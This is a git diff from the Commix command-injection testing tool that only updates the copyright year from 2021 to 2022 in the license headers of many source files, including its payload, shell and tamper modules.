This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
diff --git a/src/core/injections/results_based/techniques/classic/cb_handler.py b/src/core/injections/results_based/techniques/classic/cb_handler.py
index 0f54de2d6c..052674bbd2 100755
--- a/src/core/injections/results_based/techniques/classic/cb_handler.py
+++ b/src/core/injections/results_based/techniques/classic/cb_handler.py
@@ -3,7 +3,7 @@
"""
This file is part of Commix Project (https://commixproject.com).
-Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst).
+Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
diff --git a/src/core/injections/results_based/techniques/classic/cb_injector.py b/src/core/injections/results_based/techniques/classic/cb_injector.py
index 5e17a40639..6556937a4f 100755
--- a/src/core/injections/results_based/techniques/classic/cb_injector.py
+++ b/src/core/injections/results_based/techniques/classic/cb_injector.py
@@ -3,7 +3,7 @@
"""
This file is part of Commix Project (https://commixproject.com).
-Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst).
+Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
diff --git a/src/core/injections/results_based/techniques/classic/cb_payloads.py b/src/core/injections/results_based/techniques/classic/cb_payloads.py
index de3074846e..4bd50efe03 100755
--- a/src/core/injections/results_based/techniques/classic/cb_payloads.py
+++ b/src/core/injections/results_based/techniques/classic/cb_payloads.py
@@ -3,7 +3,7 @@
"""
This file is part of Commix Project (https://commixproject.com).
-Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst).
+Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
diff --git a/src/core/injections/results_based/techniques/eval_based/__init__.py b/src/core/injections/results_based/techniques/eval_based/__init__.py
index b50e6972c9..7ce1185b92 100644
--- a/src/core/injections/results_based/techniques/eval_based/__init__.py
+++ b/src/core/injections/results_based/techniques/eval_based/__init__.py
@@ -3,7 +3,7 @@
"""
This file is part of Commix Project (https://commixproject.com).
-Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst).
+Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
diff --git a/src/core/injections/results_based/techniques/eval_based/eb_enumeration.py b/src/core/injections/results_based/techniques/eval_based/eb_enumeration.py
index d5dfec486c..2ac5a0077f 100755
--- a/src/core/injections/results_based/techniques/eval_based/eb_enumeration.py
+++ b/src/core/injections/results_based/techniques/eval_based/eb_enumeration.py
@@ -3,7 +3,7 @@
"""
This file is part of Commix Project (https://commixproject.com).
-Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst).
+Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
diff --git a/src/core/injections/results_based/techniques/eval_based/eb_file_access.py b/src/core/injections/results_based/techniques/eval_based/eb_file_access.py
index b3c839762a..6dc0a3a9c6 100755
--- a/src/core/injections/results_based/techniques/eval_based/eb_file_access.py
+++ b/src/core/injections/results_based/techniques/eval_based/eb_file_access.py
@@ -3,7 +3,7 @@
"""
This file is part of Commix Project (https://commixproject.com).
-Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst).
+Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
diff --git a/src/core/injections/results_based/techniques/eval_based/eb_handler.py b/src/core/injections/results_based/techniques/eval_based/eb_handler.py
index 4feae2a045..066daccb06 100755
--- a/src/core/injections/results_based/techniques/eval_based/eb_handler.py
+++ b/src/core/injections/results_based/techniques/eval_based/eb_handler.py
@@ -3,7 +3,7 @@
"""
This file is part of Commix Project (https://commixproject.com).
-Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst).
+Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
diff --git a/src/core/injections/results_based/techniques/eval_based/eb_injector.py b/src/core/injections/results_based/techniques/eval_based/eb_injector.py
index a0b7cbf999..9442feb0a7 100755
--- a/src/core/injections/results_based/techniques/eval_based/eb_injector.py
+++ b/src/core/injections/results_based/techniques/eval_based/eb_injector.py
@@ -3,7 +3,7 @@
"""
This file is part of Commix Project (https://commixproject.com).
-Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst).
+Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
diff --git a/src/core/injections/results_based/techniques/eval_based/eb_payloads.py b/src/core/injections/results_based/techniques/eval_based/eb_payloads.py
index 2beabfab44..f42196492c 100755
--- a/src/core/injections/results_based/techniques/eval_based/eb_payloads.py
+++ b/src/core/injections/results_based/techniques/eval_based/eb_payloads.py
@@ -3,7 +3,7 @@
"""
This file is part of Commix Project (https://commixproject.com).
-Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst).
+Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
diff --git a/src/core/injections/semiblind/__init__.py b/src/core/injections/semiblind/__init__.py
index b50e6972c9..7ce1185b92 100644
--- a/src/core/injections/semiblind/__init__.py
+++ b/src/core/injections/semiblind/__init__.py
@@ -3,7 +3,7 @@
"""
This file is part of Commix Project (https://commixproject.com).
-Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst).
+Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
diff --git a/src/core/injections/semiblind/techniques/__init__.py b/src/core/injections/semiblind/techniques/__init__.py
index b50e6972c9..7ce1185b92 100644
--- a/src/core/injections/semiblind/techniques/__init__.py
+++ b/src/core/injections/semiblind/techniques/__init__.py
@@ -3,7 +3,7 @@
"""
This file is part of Commix Project (https://commixproject.com).
-Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst).
+Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
diff --git a/src/core/injections/semiblind/techniques/file_based/__init__.py b/src/core/injections/semiblind/techniques/file_based/__init__.py
index b50e6972c9..7ce1185b92 100644
--- a/src/core/injections/semiblind/techniques/file_based/__init__.py
+++ b/src/core/injections/semiblind/techniques/file_based/__init__.py
@@ -3,7 +3,7 @@
"""
This file is part of Commix Project (https://commixproject.com).
-Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst).
+Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
diff --git a/src/core/injections/semiblind/techniques/file_based/fb_enumeration.py b/src/core/injections/semiblind/techniques/file_based/fb_enumeration.py
index 3c45321493..afe3683801 100755
--- a/src/core/injections/semiblind/techniques/file_based/fb_enumeration.py
+++ b/src/core/injections/semiblind/techniques/file_based/fb_enumeration.py
@@ -3,7 +3,7 @@
"""
This file is part of Commix Project (https://commixproject.com).
-Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst).
+Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
diff --git a/src/core/injections/semiblind/techniques/file_based/fb_file_access.py b/src/core/injections/semiblind/techniques/file_based/fb_file_access.py
index 02520e48d3..94c3ff40af 100755
--- a/src/core/injections/semiblind/techniques/file_based/fb_file_access.py
+++ b/src/core/injections/semiblind/techniques/file_based/fb_file_access.py
@@ -3,7 +3,7 @@
"""
This file is part of Commix Project (https://commixproject.com).
-Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst).
+Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
diff --git a/src/core/injections/semiblind/techniques/file_based/fb_handler.py b/src/core/injections/semiblind/techniques/file_based/fb_handler.py
index e579189bc5..b0fa15ad20 100755
--- a/src/core/injections/semiblind/techniques/file_based/fb_handler.py
+++ b/src/core/injections/semiblind/techniques/file_based/fb_handler.py
@@ -3,7 +3,7 @@
"""
This file is part of Commix Project (https://commixproject.com).
-Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst).
+Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
diff --git a/src/core/injections/semiblind/techniques/file_based/fb_injector.py b/src/core/injections/semiblind/techniques/file_based/fb_injector.py
index 895dd3448b..242f3469b9 100755
--- a/src/core/injections/semiblind/techniques/file_based/fb_injector.py
+++ b/src/core/injections/semiblind/techniques/file_based/fb_injector.py
@@ -3,7 +3,7 @@
"""
This file is part of Commix Project (https://commixproject.com).
-Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst).
+Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
diff --git a/src/core/injections/semiblind/techniques/file_based/fb_payloads.py b/src/core/injections/semiblind/techniques/file_based/fb_payloads.py
index bc7e823e05..b6089a7122 100755
--- a/src/core/injections/semiblind/techniques/file_based/fb_payloads.py
+++ b/src/core/injections/semiblind/techniques/file_based/fb_payloads.py
@@ -3,7 +3,7 @@
"""
This file is part of Commix Project (https://commixproject.com).
-Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst).
+Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
diff --git a/src/core/injections/semiblind/techniques/tempfile_based/__init__.py b/src/core/injections/semiblind/techniques/tempfile_based/__init__.py
index b50e6972c9..7ce1185b92 100644
--- a/src/core/injections/semiblind/techniques/tempfile_based/__init__.py
+++ b/src/core/injections/semiblind/techniques/tempfile_based/__init__.py
@@ -3,7 +3,7 @@
"""
This file is part of Commix Project (https://commixproject.com).
-Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst).
+Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_enumeration.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_enumeration.py
index 8a93c9c7f2..e2ef149453 100755
--- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_enumeration.py
+++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_enumeration.py
@@ -3,7 +3,7 @@
"""
This file is part of Commix Project (https://commixproject.com).
-Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst).
+Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_file_access.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_file_access.py
index f26d9a86e1..d306f0f4ae 100755
--- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_file_access.py
+++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_file_access.py
@@ -3,7 +3,7 @@
"""
This file is part of Commix Project (https://commixproject.com).
-Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst).
+Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py
index 7c4e7d3099..6e2321a1bb 100755
--- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py
+++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py
@@ -3,7 +3,7 @@
"""
This file is part of Commix Project (https://commixproject.com).
-Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst).
+Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py
index 5d49f10d7d..dae11ba1a4 100755
--- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py
+++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py
@@ -3,7 +3,7 @@
"""
This file is part of Commix Project (https://commixproject.com).
-Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst).
+Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py
index fa3611a052..538f2a37dd 100755
--- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py
+++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py
@@ -3,7 +3,7 @@
"""
This file is part of Commix Project (https://commixproject.com).
-Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst).
+Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
diff --git a/src/core/main.py b/src/core/main.py
index 0f220fa438..ce537b5c28 100644
--- a/src/core/main.py
+++ b/src/core/main.py
@@ -3,7 +3,7 @@
"""
This file is part of Commix Project (https://commixproject.com).
-Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst).
+Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
diff --git a/src/core/modules/__init__.py b/src/core/modules/__init__.py
index b50e6972c9..7ce1185b92 100644
--- a/src/core/modules/__init__.py
+++ b/src/core/modules/__init__.py
@@ -3,7 +3,7 @@
"""
This file is part of Commix Project (https://commixproject.com).
-Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst).
+Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
diff --git a/src/core/modules/dns_exfiltration/__init__.py b/src/core/modules/dns_exfiltration/__init__.py
index b50e6972c9..7ce1185b92 100644
--- a/src/core/modules/dns_exfiltration/__init__.py
+++ b/src/core/modules/dns_exfiltration/__init__.py
@@ -3,7 +3,7 @@
"""
This file is part of Commix Project (https://commixproject.com).
-Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst).
+Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
diff --git a/src/core/modules/dns_exfiltration/dns_exfiltration.py b/src/core/modules/dns_exfiltration/dns_exfiltration.py
index cffc02123d..9672ead123 100755
--- a/src/core/modules/dns_exfiltration/dns_exfiltration.py
+++ b/src/core/modules/dns_exfiltration/dns_exfiltration.py
@@ -3,7 +3,7 @@
"""
This file is part of Commix Project (https://commixproject.com).
-Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst).
+Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
diff --git a/src/core/modules/icmp_exfiltration/__init__.py b/src/core/modules/icmp_exfiltration/__init__.py
index b50e6972c9..7ce1185b92 100644
--- a/src/core/modules/icmp_exfiltration/__init__.py
+++ b/src/core/modules/icmp_exfiltration/__init__.py
@@ -3,7 +3,7 @@
"""
This file is part of Commix Project (https://commixproject.com).
-Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst).
+Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
diff --git a/src/core/modules/icmp_exfiltration/icmp_exfiltration.py b/src/core/modules/icmp_exfiltration/icmp_exfiltration.py
index 859960da4e..1fe99f9faf 100755
--- a/src/core/modules/icmp_exfiltration/icmp_exfiltration.py
+++ b/src/core/modules/icmp_exfiltration/icmp_exfiltration.py
@@ -3,7 +3,7 @@
"""
This file is part of Commix Project (https://commixproject.com).
-Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst).
+Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
diff --git a/src/core/modules/modules_handler.py b/src/core/modules/modules_handler.py
index 7772327969..04e772b1b3 100644
--- a/src/core/modules/modules_handler.py
+++ b/src/core/modules/modules_handler.py
@@ -3,7 +3,7 @@
"""
This file is part of Commix Project (https://commixproject.com).
-Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst).
+Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
diff --git a/src/core/modules/shellshock/__init__.py b/src/core/modules/shellshock/__init__.py
index b50e6972c9..7ce1185b92 100644
--- a/src/core/modules/shellshock/__init__.py
+++ b/src/core/modules/shellshock/__init__.py
@@ -3,7 +3,7 @@
"""
This file is part of Commix Project (https://commixproject.com).
-Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst).
+Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
diff --git a/src/core/requests/__init__.py b/src/core/requests/__init__.py
index b50e6972c9..7ce1185b92 100644
--- a/src/core/requests/__init__.py
+++ b/src/core/requests/__init__.py
@@ -3,7 +3,7 @@
"""
This file is part of Commix Project (https://commixproject.com).
-Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst).
+Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
diff --git a/src/core/requests/authentication.py b/src/core/requests/authentication.py
index fd6b70b298..b4dc01446d 100644
--- a/src/core/requests/authentication.py
+++ b/src/core/requests/authentication.py
@@ -3,7 +3,7 @@
"""
This file is part of Commix Project (https://commixproject.com).
-Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst).
+Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
diff --git a/src/core/requests/headers.py b/src/core/requests/headers.py
index b73162bc84..850f794689 100755
--- a/src/core/requests/headers.py
+++ b/src/core/requests/headers.py
@@ -3,7 +3,7 @@
"""
This file is part of Commix Project (https://commixproject.com).
-Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst).
+Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
diff --git a/src/core/requests/parameters.py b/src/core/requests/parameters.py
index 837b5504d8..89402a77fc 100755
--- a/src/core/requests/parameters.py
+++ b/src/core/requests/parameters.py
@@ -3,7 +3,7 @@
"""
This file is part of Commix Project (https://commixproject.com).
-Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst).
+Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
diff --git a/src/core/requests/proxy.py b/src/core/requests/proxy.py
index 4cfd6ca4a0..c2bac33ae2 100644
--- a/src/core/requests/proxy.py
+++ b/src/core/requests/proxy.py
@@ -3,7 +3,7 @@
"""
This file is part of Commix Project (https://commixproject.com).
-Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst).
+Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
diff --git a/src/core/requests/redirection.py b/src/core/requests/redirection.py
index d6d7333194..a532c9ebe3 100755
--- a/src/core/requests/redirection.py
+++ b/src/core/requests/redirection.py
@@ -3,7 +3,7 @@
"""
This file is part of Commix Project (https://commixproject.com).
-Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst).
+Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
diff --git a/src/core/requests/requests.py b/src/core/requests/requests.py
index c389ddd81a..ee1f89e857 100755
--- a/src/core/requests/requests.py
+++ b/src/core/requests/requests.py
@@ -3,7 +3,7 @@
"""
This file is part of Commix Project (https://commixproject.com).
-Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst).
+Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
diff --git a/src/core/requests/tor.py b/src/core/requests/tor.py
index 97b5f02003..b26c6eff63 100644
--- a/src/core/requests/tor.py
+++ b/src/core/requests/tor.py
@@ -3,7 +3,7 @@
"""
This file is part of Commix Project (https://commixproject.com).
-Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst).
+Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
diff --git a/src/core/shells/__init__.py b/src/core/shells/__init__.py
index b50e6972c9..7ce1185b92 100644
--- a/src/core/shells/__init__.py
+++ b/src/core/shells/__init__.py
@@ -3,7 +3,7 @@
"""
This file is part of Commix Project (https://commixproject.com).
-Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst).
+Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
diff --git a/src/core/shells/bind_tcp.py b/src/core/shells/bind_tcp.py
index 8a65d0dfeb..53141793f3 100755
--- a/src/core/shells/bind_tcp.py
+++ b/src/core/shells/bind_tcp.py
@@ -3,7 +3,7 @@
"""
This file is part of Commix Project (https://commixproject.com).
-Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst).
+Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
diff --git a/src/core/shells/reverse_tcp.py b/src/core/shells/reverse_tcp.py
index ecd1695ced..8944e3569f 100755
--- a/src/core/shells/reverse_tcp.py
+++ b/src/core/shells/reverse_tcp.py
@@ -3,7 +3,7 @@
"""
This file is part of Commix Project (https://commixproject.com).
-Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst).
+Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
diff --git a/src/core/tamper/__init__.py b/src/core/tamper/__init__.py
index b50e6972c9..7ce1185b92 100644
--- a/src/core/tamper/__init__.py
+++ b/src/core/tamper/__init__.py
@@ -3,7 +3,7 @@
"""
This file is part of Commix Project (https://commixproject.com).
-Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst).
+Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
diff --git a/src/core/tamper/backslashes.py b/src/core/tamper/backslashes.py
index 5f500298b7..b67812b955 100644
--- a/src/core/tamper/backslashes.py
+++ b/src/core/tamper/backslashes.py
@@ -3,7 +3,7 @@
"""
This file is part of Commix Project (https://commixproject.com).
-Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst).
+Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
diff --git a/src/core/tamper/backticks.py b/src/core/tamper/backticks.py
index edf186e321..944620ebab 100644
--- a/src/core/tamper/backticks.py
+++ b/src/core/tamper/backticks.py
@@ -3,7 +3,7 @@
"""
This file is part of Commix Project (https://commixproject.com).
-Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst).
+Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
diff --git a/src/core/tamper/base64encode.py b/src/core/tamper/base64encode.py
index 873e07da92..1c88cceffa 100644
--- a/src/core/tamper/base64encode.py
+++ b/src/core/tamper/base64encode.py
@@ -3,7 +3,7 @@
"""
This file is part of Commix Project (https://commixproject.com).
-Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst).
+Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
diff --git a/src/core/tamper/caret.py b/src/core/tamper/caret.py
index 8e1f67fdbc..bf11c75e59 100644
--- a/src/core/tamper/caret.py
+++ b/src/core/tamper/caret.py
@@ -3,7 +3,7 @@
"""
This file is part of Commix Project (https://commixproject.com).
-Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst).
+Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
diff --git a/src/core/tamper/dollaratsigns.py b/src/core/tamper/dollaratsigns.py
index 8ea926ef2a..27b40f7fff 100644
--- a/src/core/tamper/dollaratsigns.py
+++ b/src/core/tamper/dollaratsigns.py
@@ -3,7 +3,7 @@
"""
This file is part of Commix Project (https://commixproject.com).
-Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst).
+Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
diff --git a/src/core/tamper/doublequotes.py b/src/core/tamper/doublequotes.py
index 6a086cee21..32eaa22faa 100644
--- a/src/core/tamper/doublequotes.py
+++ b/src/core/tamper/doublequotes.py
@@ -3,7 +3,7 @@
"""
This file is part of Commix Project (https://commixproject.com).
-Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst).
+Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
diff --git a/src/core/tamper/hexencode.py b/src/core/tamper/hexencode.py
index a0880136dc..35c4d85d2c 100644
--- a/src/core/tamper/hexencode.py
+++ b/src/core/tamper/hexencode.py
@@ -3,7 +3,7 @@
"""
This file is part of Commix Project (https://commixproject.com).
-Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst).
+Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
diff --git a/src/core/tamper/multiplespaces.py b/src/core/tamper/multiplespaces.py
index 4529d9c40b..e641415020 100644
--- a/src/core/tamper/multiplespaces.py
+++ b/src/core/tamper/multiplespaces.py
@@ -3,7 +3,7 @@
"""
This file is part of Commix Project (https://commixproject.com).
-Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst).
+Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
diff --git a/src/core/tamper/nested.py b/src/core/tamper/nested.py
index 1750e9628b..94ac9c628f 100644
--- a/src/core/tamper/nested.py
+++ b/src/core/tamper/nested.py
@@ -3,7 +3,7 @@
"""
This file is part of Commix Project (https://commixproject.com).
-Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst).
+Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
diff --git a/src/core/tamper/singlequotes.py b/src/core/tamper/singlequotes.py
index 5d65c4453d..654d3227a6 100644
--- a/src/core/tamper/singlequotes.py
+++ b/src/core/tamper/singlequotes.py
@@ -3,7 +3,7 @@
"""
This file is part of Commix Project (https://commixproject.com).
-Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst).
+Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
diff --git a/src/core/tamper/slash2env.py b/src/core/tamper/slash2env.py
index 144198e69d..0af29d889d 100644
--- a/src/core/tamper/slash2env.py
+++ b/src/core/tamper/slash2env.py
@@ -3,7 +3,7 @@
"""
This file is part of Commix Project (https://commixproject.com).
-Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst).
+Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
diff --git a/src/core/tamper/sleep2timeout.py b/src/core/tamper/sleep2timeout.py
index 64a74a7cd0..6b7ec10a0a 100644
--- a/src/core/tamper/sleep2timeout.py
+++ b/src/core/tamper/sleep2timeout.py
@@ -3,7 +3,7 @@
"""
This file is part of Commix Project (https://commixproject.com).
-Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst).
+Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
diff --git a/src/core/tamper/sleep2usleep.py b/src/core/tamper/sleep2usleep.py
index 826f370f3c..ed81d9320b 100644
--- a/src/core/tamper/sleep2usleep.py
+++ b/src/core/tamper/sleep2usleep.py
@@ -3,7 +3,7 @@
"""
This file is part of Commix Project (https://commixproject.com).
-Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst).
+Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
